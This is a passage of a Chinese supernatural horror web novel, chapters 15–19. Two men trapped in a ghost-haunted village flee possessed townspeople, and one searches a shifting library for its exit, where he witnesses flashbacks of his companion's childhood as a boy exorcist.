原野艰难地在文字的潮海里前行,忍受着被文字啃食的疼痛,眼睛微微眯起,视线精准地扫过档案夹上每一个纸盒。 畸形的文字充斥了这个没有边际的空间,没过原野的膝盖、腰腹一直攀爬到他的胸口,像是陷入到窒息的流沙里,身上传来的细密的疼痛,又好像置身在蚂蚁的巢穴,要被许久没有进食过的蚁群啃食殆尽。 就在这些奇怪的字体淹没过他的脖颈前,原野终于从无数繁殖生出诡异文字的档案盒里,找到了唯一一个不会冒出字体的纸盒。 就是你了! 原野心中大喜,手中绽出电光,顷刻间蓝紫色的光芒充斥了整个房间,蠕动的异体字突然停住了动作,无边的空间重新回归正常的形状。 同一时间,原野几步冲向那个盒子,抄手抓起它,毫不犹豫地一脚踏上窗台,合身撞破玻璃,从教学楼的三楼破窗而出。 房间内的闪电一停,密密麻麻的文字再次涌动,从破开的窗户倾泻而下,向着原野袭去。 原野在半空中旋身,没有拿档案的右手迅捷地扣住了二楼的窗台外沿,缓冲后一松手,身体擦着墙沿落下,最后在一楼的窗沿借力一蹬,整个人背向地面,倒飞出去,接着在空中转身,落地,头也不回地向校外奔去。 与此同时,学校里的学生、老师还有只剩下一只眼睛的保安也像是接到指令一般行动了起来。 人如潮涌,被不可违逆的意志裹挟,向着原野的方向扑去。 只有师酌光眼前的校长没有动,他坐在老派的红木办公桌后,和师酌光一起扭头看向窗外被追杀的原野。 “他还真听你的。”校长饶有兴味地评价道。 “这不是我跟他说的。”师酌光收回目光,转而看向校长,评价道:“他很聪明,知道要做什么。” 下一步要干什么啊! 原野在夺命狂奔,心中万马奔腾。 来之前师酌光只交代了他无论如何一定要去两个地方,一个是学校的档案室,另外一个是图书馆的仓库。 当时他还在想什么情况需要用“无论如何”这样的情况,现在他知道了。 就是现在这种情况! 原野眼前出现学校的围墙,一脚踏在花池边沿,借力飞身而起,探手扣住墙沿,揉身翻过墙沿,落地,头也不回地继续狂奔。 外面的路人起初还是正常的,但是等那些诡异的字淌出校园,路人好像被传染一样,丧尸一样机械地追逐着原野。 啊啊啊!我最讨厌丧尸了! 原野两条长腿轮成风车,闪身避过扑来的路人,顺势拐进了路边一条小巷。冲到墙边,利落地蹬在墙壁上,借力上墙,落进了人家的院子里,接着在看门狗追逐中火速从院子的另一边翻了出去。 追逐他的生物则被围墙拦住,犹疑着不知道如何过去。 原野见这招有效,当场底线全无,一路私闯民宅,连翻了四五个院墙,终于将追在身后的不明物体甩脱。 “呼——”原野扶着墙呼出一口长气,感叹道:“果然光吃干面包不行,腿都跑软了。” 他抬头观察了一下,见自己跑到了一个死胡同里,三面都是砖墙,墙角斜生着一颗茂盛的杨树,将红砖顶得裂开。 原野干脆走过去,背靠着那颗树,一腿微曲,踩在树的根部,将档案盒拆开。 里面果然是可以阅读的正常文字,原野一眼扫过去,全是些人事档案,人名自然一个也不认识,目光扫到职业时却愣住了,图书管理员、保安、纺织工…… 原野打了个激灵,翻到保安的那页仔细看去,只见那人的生平竟然不是局限在何有乡的,而是横跨了现实和虚幻两个世界。 然而还不待他细看,有比他更着急的人,先把眼睛放了过来。 原野手里捧着档案盒,一枚圆滚的眼球落在了纸页上,滴溜溜地打转。 原野脊柱过电般一麻,回头只见有人被砖墙拦住,身体却仍努力向着他的方向移动,血肉挤进墙壁破损的裂缝,眼球被挤出眼眶,顺着墙洞滚下,被树木撑开的砖墙破损处,长出心急的指甲。 此情此景,饶是见过尸山血海的原野都觉得头皮发麻,当即一抖档案,将浑圆的眼球甩了出去,曲起的那条腿猛一蹬树干,借力飞射而出,撒腿往图书馆的方向跑去。 被他甩在地上的眼球忠诚地执行着命令,将自己的躯体抛在后面,徒劳地滚动着,试图追上原野。 另一边,日光将翠绿的树叶晕出金色的光边,阳光灿烂的房间内,师酌光和校长方延祚分坐两边。 偌大的校园此时空无一人,只剩下这两人沐浴在没有温度的明媚阳光下,安静得甚至还有几分默契。 “可以请教一下你是怎么找到我的吗?”方延祚彬彬有礼地问道。 “你的名字很特别。”师酌光笑笑:“很有时代感。” “这倒是,”方延祚闻言,语带怀念道:“现在的时代已经没有人会起这样的名字了。” “我在家里读过平山教的记录,一百三十年前,朝廷派兵清剿平山教,教主被杀,其子带着剩下的四十二名教众在灵嵨的祖宅中自焚而亡,事后共清点出四十三具焦尸,由此判定平山教教徒全部伏诛。”师酌光说到这里,语气平平地说道:“抱歉,不该用伏诛这两个字。” “哈哈哈哈,”方延祚笑起来:“无所谓了,一百年前的事了,谁在乎呢。” “我在乎,”师酌光纠正道:“我还是想出去的,你不想吗?” “难道我的焦尸被存进博物馆了?”方延祚说了一个并不好笑的笑话:“没有身体,我要怎么去到现世?” “是我冒昧了。”师酌光很干脆地道歉,语气中的诚意不多。 主要是他心情不好。 聒噪的蝉鸣虽然停止了,师酌光眼里的世界却依然扭曲,方延祚端坐在他的对面,戴着男表的左手,染着指甲的右手,成年男性的上半身,青少年的腰身,零零碎碎拼出了一个乱七八糟的人形,肉块与皮肤像蜡一样从他身上融化,“滴答滴答”地落在地上,又蠕动着爬回方延祚的身上,填补着这尊融化的肉丨体。 师酌光看得一阵阵恶心。 “倒也没什么,”方延祚不匹配的两只手摊开,涂着口红的嘴裂开,笑道:“我死的时间比活着还要长,说起来还是更习惯现在的状态,倒是你的朋友还在逃命呢,没有关系吗?” “他体力好,多跑几圈不成问题,”师酌光冷淡道:“或者你发发善心,让你的鬼们别追他了。” “倒也不是不行。”方延祚的舌头说话时掉进了黑洞洞的咽喉,空荡的嘴唇一张一合,发出声音:“但是请师先生为我解惑,你怎么发现洄域的出口在图书馆?” “我乱猜的。”师酌光说话时盯着校长空洞的口腔,心里想着那条舌头正如何沿着食道爬回来:“来寻人的男人既然想要找到唤醒他爱人的方法,不会只找两个人做试验,洄域里消失的人数应该多于两人的,这种情况下,优先被填补的学校保安和图书管理员的角色总归是要重要一些的。” 剩下的话师酌光没说,但是方延祚意会了:既然自己在学校,出口自然该在图书馆。 “你确实很像师家人。”方延祚评价道:“一百多年前,我从涉河渡水往咸京去,见过一个和你很像的男人在码头做法度亡灵,那应该是你……” “师瑞蟾,在下的高祖。”师酌光语气平静:“那是夏历十六年,高祖替人改命,在涉河引水鬼、改河道,你渡河后当晚,涉河改道,河下村两千余人俱死在当夜。祖上草菅人命,让你见笑了。” “师公子真是个爽快人。”方延祚也是第一次遇见这么痛快地自揭家丑的人,夸人的话都变得真挚了起来:“师家家学渊源深厚,能看出洄域的出口也是自然,只是恕我唐突,你不怕你朋友就此离开?” “还是说……”方延祚故弄玄虚地停了下来,凝视着师酌光波澜不惊的表情,充满恶意地开口道:“师大公子觉得这辈子过得太苦,打算舍命换你这位朋友活下去?” 它果然有这里所有人的记忆。 师酌光坐在轮椅上,疲惫地看着对方。 想要呕吐的欲丨望更加地强烈了。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 16、第十六章 新任务 原野最后是翻窗进的图书馆。 他见追他的那些人虽然胳膊腿各跑各的,但仍然诡异地遵照人类的基本设定:走路,所以干脆不做人了,不是,不走正常路了,上房翻墙,壁虎一样游到了图书馆,利落地撬开玻璃,钻了进去。 然后他有点方。 师酌光只说让他去找图书馆的库房,但是没有给他指路,也没告诉他图书馆竟然这这么大!外观只是一座平平无奇的矮破楼,但里面竟然有整整四层,而且这个建筑,看得人……恶心。 原野在末世执行任务的时候钻过不少荒楼,但没见过这种的。图书馆本身长得中规中矩,围绕中庭建造了一层又一层的图书室,但是这种建筑一般楼顶是铺玻璃的,这里不是,这里是八角形的木制斗拱屋顶,黑沉沉地往楼顶一罩,一点光也透不进来。 楼里倒是也有灯,长长的白炽灯管一条条铺着,本来就不怎么亮,中间时不时多出几盏八角宫灯,和原野昨天瞟到的古装电视剧里的一模一样,燃着红烛,虽然没有风,还是在空中一荡一荡的,弄得烛影在走廊的水泥地和发黄的白墙上颤动不已。 走廊上的栏杆同样奇怪,一段不锈钢、一段铸铁再加一段雕花木栏杆混搭在一起,看起来好像把各种风格的建筑强行揉在了一起。 好奇怪的审美。 原野忍着反胃看了眼楼梯,长得歪歪斜斜的,廉价的水泥台阶上铺了红色的地毯,看着怪不搭的,原野都疑心是不是血染的。 他看着这地方越看越觉得不怀好意,没有直接去找库房,而是钻进了离得最近的一间儿童阅览室,回身轻巧地将门合住,把手处别上了一旁的拖把。找了个墙角和书架围成的死角,靠着墙面,把档案又翻了出来。 师酌光让他一定要拿到的东西,总有点不寻常的地方吧。 原野如是想着,先大概翻了一下,没找到他和师酌光的档案,显然他俩还没有完全丧失理智融入进何有乡,所以这里还没有生成他俩的档案。 虽然这点挺让人放心的,但是原野还是有点好奇自己的档案会不会横跨两世。 不过这都不重要,原野快速地翻到了最后一页,想看看第一个进入洄域的人有什么不一样。 这人名叫方延祚,男,出生于夏历三年,父亲是个村里教书的秀才,小时候家里闹蝗灾当了流民,十二岁在换野山落草为寇,十九岁的时候成了二把手,隔年信奉了平山教,三十二岁平山教灭亡,他也在灵嵨服毒自尽。 之后在何有乡度过了接近一百年多年的时间,原野扫过去,顺便还见证了这个世界一百年以来的历史进程。 一开始这人在何有乡做租赁牛马驴的生意,职业写了个乡绅,原野用他不多的常识的思考了一下,觉得这人应该过的挺富裕。 四十年后似乎社会发生了变化,何有乡好像在一夜间进入到了工业社会,这个人的职业变成了纺织厂的厂长。 方厂长在这个岗位上呆了二十年,时代再次发生了变化,纺织厂消失了,他也换了个工作,成了何有乡小学的校长,一直工作到现在。 等一下……师酌光今天是不是就是去找这个校长了? 原野打了个激灵,总觉得这位何有乡第一人不是什么善茬,师酌光不会有危险吧? 原野想到这里,慢慢移动到了靠窗的位置,身体贴在墙上,侧头向着窗外瞟了一眼。 图书馆外果然已经摞满了追来的肢体,残肢们竭力向上攀爬着,像是要抓捕原野,又好像要逃离这血腥的尸群。 然而同样的,图书馆里似乎有什么东西让它们无法进入,只能堆积在门外,等待着时机。 在等上半身吗? 原野认真思考。 不过自从他跑出了学校一公里左右的距离后,那些奇怪的字符就没有再出现过了,也不知道是不能出这段范围,还是隐蔽了起来。 原野还在犹豫。事到如今他也能猜出来师酌光是故意去学校拖住校长的,他现在该立刻去找仓库才对。按往常他出任务时的习惯,原野是会无条件信任队友的,但是师酌光…… 原野心里总有点不详的念头笼罩着这个名字。 就在这时,阅览室的双开玻璃门突然传出一声玻璃磕碰的轻响,原野迅速闪到了一层书架后,透过书籍和书架的空隙像门口望去。 门口空无一人。 原野努力抬高视角,仔细看了地面。 门口也空无一肢,不像是腿嫌上半身太慢了自己跑上来的样子。 不锈钢把手上的拖把棍也好好地别在上面。 但原野还是有一种感觉:有什么东西进来了。 想到这里,原野拿着档案盒的左手背在身后,背贴着书架做掩护,小心地往门边移动。 门口传来细微的声音,玻璃门微微颤动,好像什么东西沿着门缝钻了进来,原野手中已经聚起电芒,正要闪身出去攻对方一个措手不及,身体却突然顿住了。 他身后有人。 “是我。”师酌光的声音从身后传来。 原野回身,手中电光未散:“你怎么过来的?” 说完又看他身后,没有轮椅。 “我设法困住了方延祚,”师酌光脸色惨白如纸,额头泛出一层细密的薄汗,用手扶着书架,支撑着摇摇欲坠的身体:“我套了方延祚的话,图书馆的库房果然是出口。能扶我坐下吗?” 原野这才上前,扶着他走到阅览室的书桌处。 师酌光常坐轮椅,此时扶着他走路时,原野才注意到师酌光其实挺高的,比他都高出了一头,快要到一米九了,只是太瘦了,身材单薄得令人担心。 小孩子的阅览室座位也自然是儿童的高度,自然塞不进师酌光进去,原野只能没素质地扶着师酌光坐在了阅读桌上。 “谢谢。”师酌光长出一口气,道:“这里是整个何有乡最重要的地方,因为这里的文字最多。” “啊?”原野觉得自己又回到了最熟悉的“啊?啊?啊?”环节了。 “保安写的笔记本和图书管理员的笔记有什么共同点?”师酌光还是用他习惯的幼师式循循善诱法提问。 “共同点?”原野也坐到了桌子上,两条长腿伸直,回忆道:“保安的笔记本藏在了一堆记录里,管理员的笔记写在了征询意见表后面,要说有关系的话……就是他们都在把自己的记录藏在其他的文字里?” “很聪明,”师酌光虚弱地笑了笑:“一般的洄域是自然形成的空间,天生万物,消化这些微小的记录不是问题,但是我们所在的这个洄域被方延祚入侵了,我不知道他用什么方法成为了洄域的一部分,但造成的情况是人的力量终究是有限的,成为了洄域一部分的他操作这里的人还行,但是面对浩如烟海的文字记录,就不是他能处理的了的,只是藏在文件堆里,他就找不到保安记录的笔记本,更何况这么庞大的一座图书馆。” “所以按照常理来说,他应该直接取消掉图书馆。”原野眼前一亮。 “是这个道理。”师酌光点头:“偏远的乡村没有图书馆也是一件很正常的事,但是他依然留下了这里,只能说明这是他没有办法清楚的地方,是何有乡的出口。” 这句话一说完,世界在他眼中扭曲了起来,蝉鸣声在空间里回荡,鲜艳的儿童书籍融化成一滩斑斓的流沙,动物造型的书架张开嘴互相撕咬,空间混沌成一片模糊的物质,只有眼前的师酌光依然是清晰的模样。 “库房堆积了最多的书籍,也最有可能是何有乡的出口,但是这里也同样被隐蔽了起来,你需要找到它,放火烧了它。”不知不觉间,师酌光的脸色已经好转了许多,泛起了健康的血色:“至于你我的身体,我会去找到合适的药品,在这里知道的越多,世界就会变得越扭曲,我们剩下的时间不懂了,你去找库房,我去找药,一个小时后在这里见面。” 师酌光说完,身体离开了桌子,站了起来。 原野仍然是坐着,仰头看着师酌光,发现他的气息和站姿逗比刚才稳当了许多。 “你能走了?”原野皱着眉头问道。 “可以,”师酌光点点头,漫不经心道:“洄域会给你一切你想要的东西,比如健康的身体。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 17、第十七章 新视角 “好了,时间紧迫,动起来吧。”师酌光看着还坐在桌子上的原野,道:“我是图书管理员,进出图书馆不会引起注意,你自己多小心。” 说完向原野伸出手,要将他拉起来。 “我知道了,”原野抬头看着师酌光,拒绝了他好意,单手一撑桌面,自己站了起来,脸上露出开朗的笑容:“身体刚好就别逞强了,出去也要注意安全。” 原野说完活动了一下两只手臂,道:“咱俩待会儿在哪里见?” 师酌光收回手,还是那副清淡的样子,道:“找到库房后你先不要进去,你带着我给你手绳,我能感应到你的位置,我拿到药就去找你。” 原野点头表示知道了,师酌光这才从门口离开。 “对了,”原野在师酌光即将出门前叫住了他:“你刚才怎么进来的?” “我是图书管理员,这里的门都会为我打开。”师酌光声音没有起伏地解释完,将拖布从把手上抽了出来,拧掉拖把头,把木棍递给了原野,带着些戏谑地笑道:“拿好你的防身武器。” 师酌光话音未落,原野眼里的世界变得更怪异了一分,他笑着接过了棍子,顺手舞出了一个漂亮的棍花,将木棍持在身后,两人这才分别。 只不过师酌光是从容地从大门口离开,原野在走廊上一间间搜索库房位置的时候,图书馆却开始当着他的面变形。 原野刚执行任务的时候遇到过一只在山谷里沉眠的大象,风沙和植被覆盖了它的躯体,让小队误以为是土坡而攀爬了上去。 丧尸象却因为嗅到了活人的气息而苏醒。原野当时只有十一岁,只感觉到地面突然震动,丧尸抖落身上的泥土,宽阔的脊背裂开伤口,流尽鲜血后的尸体只露出皮下森森白骨。 原野竭力奔跑,每一步都陷在了软烂的血肉里,好像陷入了翻滚的血海之中,无论如何都无法从巨大的恐惧中逃脱,几乎在下一秒就要掉进象尸空洞的腹腔中 我在想什么啊! 逃命般狂奔的原野突然反应了过来,意识到自己又陷入到了何有乡的梦魇中,但世界已经在他眼里发生了无可挽回的变化。 阅览室、借阅室、活动室统统不见了踪影,这个扭曲的空间好像变成了一个巨大的、蠕动着的胃袋,老旧的白绿配色的墙面泛起猩红的血色,脚下的走廊不详地起伏着,可疑的红地毯果然变成了险恶的血河,翻涌着想将原野拽进万劫不复的深渊。 就在他被拽入幻象的一瞬间,痛苦的鬼影已经抓住了他的脚踝,原野木棍一挑,扫开扭曲的鬼影,继续在走廊上奔跑,寻找库房的位置。 然而此时的图书馆俨然已经变成了一个扭曲的异世界,向上和向下的楼层都在无限延伸,世界变成了无尽的回廊和血肉的炼狱,原野置身其中,似乎永远也无法挣脱。 然后原野听到了绝望地哭声。 他手边的雕花木栏杆变长、变高,好像长成了四方的庭院,庭院在下雪,马棚里扔着一个刚出生的女婴在嘶声力竭地哭,旁边的厢房里同样有女人在哭。 “求求你了,留下她吧。”血腥气好像附在了哭声里,一浪又一浪地透过破旧的木门翻了出来。 女婴的哭声在雪天里快速地微弱下去,脸色变得青紫,幼小的嘴唇还在一张一合。 我想活下去……我想活…… 原野的肩膀传来剧痛,女婴的小手洞穿了他的皮肤,在他的耳边哀嚎。 原野咬牙,一脚蹬在雕花栏杆上,飞身跃起,抓住了上一层铸铁的栏杆,揉身翻了上去,落地的瞬间手上聚起电光,拂落了婴儿。 肩膀上的伤口随即愈合,痛感却仍然爬满了原野的神经。 这里的世界又一次变化,铸铁的栏杆组成了老旧的平房围栏,远离主屋的一间小房间里,年迈的老人躺在布满排泄物的床上。 浑浊的眼睛无可选择地盯着糊在房顶上的报纸。 “让我死吧……让我死吧……”老人的嘴角嗫嚅,断断续续地呻丨吟从干瘪的躯体里传出。 原野又一次用电光驱散死亡的幻觉,然而数不清的楼梯蜘蛛网一般纵横交错挂满了整幢图书馆大楼,无尽的回廊到处都是灵魂痛苦的哀鸣,原野的电光闪过一次又一次,充斥了整个图书馆的绝望的人生没有驱散的时候。 这不是个办法。 他毕竟不是真的健康人,狂奔和频繁使用异能急速透支了原野的生命力,他知道自己不能再用异能了,但这样紧要的关头,不用异能走不出两步他就会被这里的东西生啃了。 这里有何有乡的出口。 原野跃起,躲开病患伸出的生着疮斑的手臂,奔跑在没有尽头的回廊上。 追着自己过来的身体全都不敢进图书馆。 原野心念一动,强行催动体内的异能,刺目的电光在图书馆里炸开,幻象被冻结在了原地,原本消隐的图书室在这一刻重新显现了出来。 原野顾不上胸口传来的剧痛,迅速钻进了其中一间阅览室,看也不看,就将书架上的书统统扯了下来,书页被打开,里面诡异的字符像是被唤醒一般活了过来,从书页漫向地面,再次聚成虫潮一样密密麻麻的族群,奔向原野。 眼看图书室的文字越来越多,原野合身撞开了玻璃门,将自己和那些诡异的文字一样放进了血肉涌动的走廊。 无边无际的空间瞬间稀释了那些诡异的字潮,但像是某种引召,越来越多的文字从看不到的图书室里爬了出来,充满了血色的走廊顷刻间爬上了黑色的字痕,原野在这些字符和幻象的夹击里狼狈地逃跑,身形已经不如一开始那般轻健。 但原野也终于看到了他想看到的东西。 稠黑的文字从四面八方涌出,铺天盖地,却唯独绕过了离他所在地方向下三层远的一个不起眼的角落。同样的,那个角落里,也没有爬出任何扭曲的文字。 就是那里了! 眼看自己赌对了,原野激动地两眼飚泪,竭力奔跑过后一脚蹬上栏杆,毫不犹豫地向着中庭跃出,身体在空中划出一道抛物线,向着三层外的角落掠去。 身体穿过中庭的感觉十分奇妙,像是落入了水中,跌进了云雾里,微妙的阻滞感包裹里原野的身体,眼前的一切似乎都发生了变化,走廊上扭曲的时代的建筑和绝望的哭声在他眼里聚合又分开,无数光阴在他眼里都变成了凝固的画片,然后他在其中一帧里,看到了师酌光的身影。 他怎么会在这里? 原野情不自禁地伸出了手,指尖点在画面上,凝固的世界荡出波纹,顷刻间动了起来。 画面里的师酌光好像不到十岁的样子,还是那张俊朗苍白的面孔,但还十分得稚气,身量颀长但消瘦,脸色依然没有血色,身上的衣服却看着十分贵重,哪怕以原野没有见过市面的眼光来看,也能看出来幼年版师酌光身上似乎散发着富贵的气息。 其实我认人还挺准的,他都变小了我也能认出来。 原野抽空肯定了一下自己。 “葆光少爷,”男孩儿的保姆不知道什么时候出现在了他的身后,道:“太太说可以进去了。” 原野:?? 画面里的男孩儿却默认了这个称呼,没有说话,跟在保姆身后,穿过走廊,走进了一间装修格外童趣的卧室里。 不应该啊! 原野在认真观察男孩儿。 虽然他没见过师酌光小时候的样子,但是眼前这个人不论是骨骼的走向还是面部表情,甚至是手上不自觉的小动作,都和成年版的师酌光一模一样。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 18、第十八章 新名字 总之先叫你小师酌光了。 原野的视角跟着小男孩儿走进了卧室,自顾自地给人家命名。 “妈妈。”小师酌光一进门,先看向房内一个打扮十分优雅的女人。 “嗯。”女人矜持地颔首,低头看着自己儿子的表情并不亲切:“这是妈妈的同学,好好帮她看看。” “大师您可算来了,”候在一边的女人三十岁上下,穿着打扮很气派,一双眼睛却哭得红肿,自师酌光进来目光便落在了他的身上,却又按捺住了冲动,直到师酌光的母亲发话,才得到赦令般急切地迎了上去,泪眼婆娑道:“我家宝宝已经睡了两天啊,求您救救他。” 女人显然是宝宝的妈妈,面容憔悴且愁苦,紧紧跟在不大点的小师酌光身边,一口一个“大师”“您”的,多少有些滑稽。 但原野四下看去,房间内所有成年人,都对这位不到十岁、身量细长又瘦弱的小大师十分敬畏,其中甚至包括师酌光的母亲和保姆,不过仔细说起来,她俩的表情嫌恶和恐惧更多一些。 “我知道了。”小师酌光的声音滞涩,就好像很久没有说过话一样:“你们都出去吧。” 众人闻言鱼贯而出,只有原野没有素质的留在了原地,恨不得把脖子伸出去两米观察小师酌光的表情。 小师酌光没有表情。 房间里只剩下了他和躺在床上的男孩儿。对方看着和他年纪差不多,脸色红润,还有这个年纪该有的婴儿肥,虽然一直躺在床上昏迷不醒,但两个人放在一起,还是看起来苍白瘦削的师酌光更需要治疗。 原野如是点评道。 小师酌光不知道正有人对他评头论足,还是平板着脸一副没有表情的样子走到了男孩儿床前,伸出手覆在了他的枕头上。 霎时间一阵黑色的雾气弥漫上他的手指,小师酌光吃痛,将手缩了回来,黑雾还盘桓侵蚀着他的右手,他却也没有其他反应了,小木头人一样站在床边,也不知道在想些什么。 片刻后,小师酌光终于动了起来,从口袋里摸出了一把水果刀,刺在左手掌心上。 “嘶——”小师酌光疼得抽气,手下的动作却未停。 刀刃在掌心划出一道血淋淋的伤口,鲜血瞬间涌出,却没有流下来,而是化作丝丝缕缕的雾气,腾空而起,蜿蜒流向了昏迷的男孩儿。 两个年纪相仿的孩子在这一刻勾连在了一起,鲜血化作的雾气散出光晕,小师酌光连疼痛的表情也没有了,木木地看着男孩儿,似乎在等待着什么。 眼前的光景突然变了一个样子。 儿童房消失了,取而代之的是一座糖果搭成的房子。饼干和巧克力砌成的墙壁,硬糖做的窗户,棉花糖簇拥起的床铺和奶油与坚果碎铺成的地毯,房间之奢华,如果不是原野这两天稍微补充了一点现代知识,甚至认不全这里的原材料。 是天堂啊。 原野虔诚地赞美。 幼儿版师酌光显然也没有见过这么大的世面,他呆呆地站在房子中央,看着棒棒糖吊灯默默吞口水。 几秒后,才想起来找这次的苦主。 苦主一看就见过世面,知道他妈不能让他在这种蛀牙温床呆着,缩在墙角正警惕地嚎啕大哭。 但见的世面不多,哭累了还要舔一舔他抱着的等身巧克力熊。 “别哭了。”小师酌光走过去,表情酷酷的,声音呆呆的。 “呜呜呜呜哇哇哇哇啊啊啊啊。”小男孩儿抬头,看着莫名其妙出现的苍白陌生孩,哭得更带劲了。 “不要哭了,你被魇住了,”小师酌光没有一点哄孩子的经验,对哭声置若罔闻,继续平铺直叙道:“你睡的枕头里有脏东西,它们把你带到了这里,我来带你回家。” “你是谁?”小孩儿稍微暂停了一下哭声,问道。 “你妈妈让我救你出去。”小师酌光说话的样子已经初见日后冷淡的模样。 “不能出去。”小孩儿抽了下鼻子,伸手指向糖果窗户:“外面有鬼。” 那啥? 原野对未知新名词充满了警惕,和师酌光一起顺着男孩儿的手指看向窗外。 窗外是漆黑的一片,没有光亮也没有声音,显然不是一个正常的空间。 “没有鬼。”小师酌光看完,转头看向小男孩儿:“跟我走。” “有的有的。”小男孩儿眼看又要哭了:“只要出去,就会有鬼来抓我。” “哦。”小师酌光平板的语气毫无安慰人的作用:“它们就是来吓你的,让你不敢出去,你就一直醒不过来。” “跟我走吧。”小师酌光比男孩儿要高一点,他站直了身子,不带感情的俯视着他,道:“你一直不出去,你妈妈很着急。” 小师酌光说完停顿了一下,又补充道:“一直不见我,我妈妈也会着急的。” 小男儿闻言犹豫起来,显然在外面的鬼、地上的糖和家里的妈之间进行了激烈地斗争,最后还是回家的渴望站了上风,让他对着师酌光伸出了手。 “哥哥……”小男孩儿看着比自己高的师酌光,声音软飘飘的:“你能带我回去吧?” “可以。”师酌光酷酷地点头,用没受伤的右手握住了小孩儿胖乎乎的手掌,牵着他推开了巧克力做的门,然后愣住了。 原野从他们后面看去。 外面是无尽的黑暗。 天与地都消失了,只有永远的黑暗包裹着唯一的糖果屋。 这就是“鬼”吗?是挺可怕的。 原野看着没有边际的黑色,伸出手戳了戳,自然什么都没有戳到。 “不要走了,会掉下去。”小男孩儿抱着师酌光的胳膊,站在门口害怕道。 “我会保护你。”小师酌光神色不变,强硬地牵着男孩儿走进了黑暗里。 右手的伤口飘出血雾,星星点点地燃起,萤火虫一样笼罩着两个孩子,两人一路向着前方走去,小师酌光的血在黑暗中燃烧着,在无边无际的夜河上留下星辰的轨迹。 “哥哥,你在流血。”小男孩儿注意到了师酌光的伤口,担心地说道。 “知道。”小师酌光却连说一句“没事”的意思都没有,板着脸,用力地拽着小男孩儿往前走去。 “哥哥,我走不动了。”小男孩儿又开始哭了。 小师酌光没说话,他也走不动了。 浓稠的黑暗里涌出一条条黑色的,成人大小的蠕虫,一条条堆叠在一起,在鲜血燃成的星火时发出炙烤的声音,光点和蠕虫一起挣扎着消失,但又立刻有新生出的虫体阻拦住了师酌光的脚步。 小师酌光仍在执着地走着。 鲜血涌出、散开又消亡,他的脸色变得惨白,身形摇摇欲坠,只有抓着小男孩儿的手坚定地像是焊死在了上面一样,一步又一步,拖着他向前走。 翻涌在一起的蠕虫湿软的皮肤上逐渐长出崎岖的五官和数量庞大的手,无数只畸形的手抓向师酌光,接着被鲜血消融,炼狱一样的场景没有影响到师酌光,小男孩儿却已经吓得不行。 “鬼啊——有鬼啊——”小男孩儿声嘶力竭地哭号着,他再也受不了这可怕的场景,用手猛地一推,挣脱师酌光的束缚。 小师酌光一路失血,猝不及防被男孩儿一推,摔进了狂舞的虫堆里,他的脸上终于露出了惊慌的神色,竭力在翻涌的人手与虫堆间抬头,看到男孩儿头也不回地跑进了糖果屋里。 小师酌光再也支撑不住,昏了过去。 空间瞬间亮了起来,是那间进精心布置的儿童房,守在门外的女人听到了一声沉重的闷响,再也按捺不住,推门冲了进来,看到的却是昏迷不醒的儿子,和躺在床下,被一滩鲜血包裹着的师酌光。 “啊——”女人尖叫了起来。 “闭嘴。”师酌光的母亲跟在后面进来,强硬地制止了女人,她蹙眉看着眼前的一切,朝着师酌光的方向点了点下巴。 跟在女人身后的保姆会意,上前抱走了昏迷的小师酌光。 场景又一次发生了变化。 还是一样的房型格局,只是充满童趣的房间变成了奢华的欧式装修,应该是这家人的客房,欧式水晶灯照出明晃晃的光。 小师酌光躺在床上,他的母亲坐在旁边的椅子上,皱着眉看着自己的儿子。 “妈妈?”师酌光从昏迷中醒来,迟疑地叫了一声。 “嗯,”女人垂眸,脸上看不出任何的表情,这让小师酌光更加惶恐起来。 “知道错在哪儿了吗?”女人冷淡地问道。 “我……我准备不足……我不知道这么厉害……”小师酌光仰头看着母亲,恐惧攥紧了他,他磕磕巴巴地为自己辩解,眼睛盯在母亲脸上,试图通过细微的变化揣度出正确的答案:“还有……还有那个孩子太害怕了……” “都是借口。”女人平静地总结道。 师酌光不说话了。 “想办法,”女人居高临下地盯着小师酌光:“如果是葆光,他一定会成功的,你要当他,就不能失败。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 19、第十九章 新表格 原野十分生气。 他想说妈妈不应该是这样的,她现在去安慰师酌光,关心他的伤口,抱着他的身体告诉他,他已经做得很好了,就像是在原野的父母还在时,把他抱在怀里安慰他的时候一样。 但这一切都已经是过去的事情了,原野只能看着小师酌光的脸上的表情逐渐消失,逐渐变回了木呆呆的神情,他看着自己的母亲,然后慢慢地将目光移向了旁边雪白的墙面。 “我知道了。”小师酌光平静地说道:“我会把他带回来的。” “这才对。”母亲的说话时脸上依然没有什么表情,两个没有任何亲密互动的人在这一刻格外得像母子:“现在已经晚了,你先休息,明天早上替宝宝施法。” 小师酌光还是那么木木地看着自己的母亲,片刻后,似乎反应了过来,这时候应该说话了,于是缓慢地点了点头:“好。” 女人也做出了一个母亲的反应:她伸出手,迟疑了一下后,选择将手放在了师酌光的头上,摸了两下。 “快睡吧。”女人最后交代了一句,离开了。 房间里剩下小师酌光一人。 小朋友拥在被子里,面无表情地看着白墙,许久后抬手,摸了摸自己头顶被母亲摸过的地方,慢慢躺回了床上。 画面再度变化。 还是那个熟悉的糖果屋,蠕虫好像被昨天的行动惊扰,渐渐向屋子围拢过来,糖果窗户上留下了不祥的手印,饼干墙壁传出被啃食的“悉索”声,屋子里,还有个小孩儿在嚎啕大哭。 “我不要出去,”小孩儿抱着等身巧克力熊,藏在棉花糖床底下嚎啕大哭:“呜呜呜啊啊啊,妈妈啊,你快点来救我啊,呜呜呜啊啊啊,啊妈妈啊——” 小师酌光站在床边,手里提着一盏散发着光晕的灯笼,冷酷地看着孩子大声哭闹。 “你妈妈不会来救你的。”小师酌光平静地说道。 “啊——”小孩儿发出了开水壶一样的尖锐爆鸣。 师酌光:“……” 他意识到自己好像表达错意思了,思考了一下,重新组织语言道:“你妈妈来不了这里,所以她让我来救你。” “你救——不了——我。”小孩儿悲痛欲绝地哭嚎:“昨天你就把我扔下了——” “那是因为你自己跑了。”小师酌光指出问题。 “我没有。”小孩儿习惯性反驳。 有着丰富救援经验的原野感到不妙。 果然,两个都不到十岁的小孩儿开始鬼打墙。 “你跑了。” “我没有。” “你就跑了。” “我就没跑。” “就是你跑了。”师酌光平静的语气里带着对人类的疑惑。 “我——没——有——”小孩儿回以无原则的爆哭。 原野是雷电系异能,一般这时候会在掌心呲点电火花骗小孩儿玩儿。末世的孩子没见过世面,一般一逗一个准。 但小师酌光没有经验,他也不会哭,只能呆呆地看着哭嚎的小孩儿,不知道在想什么。 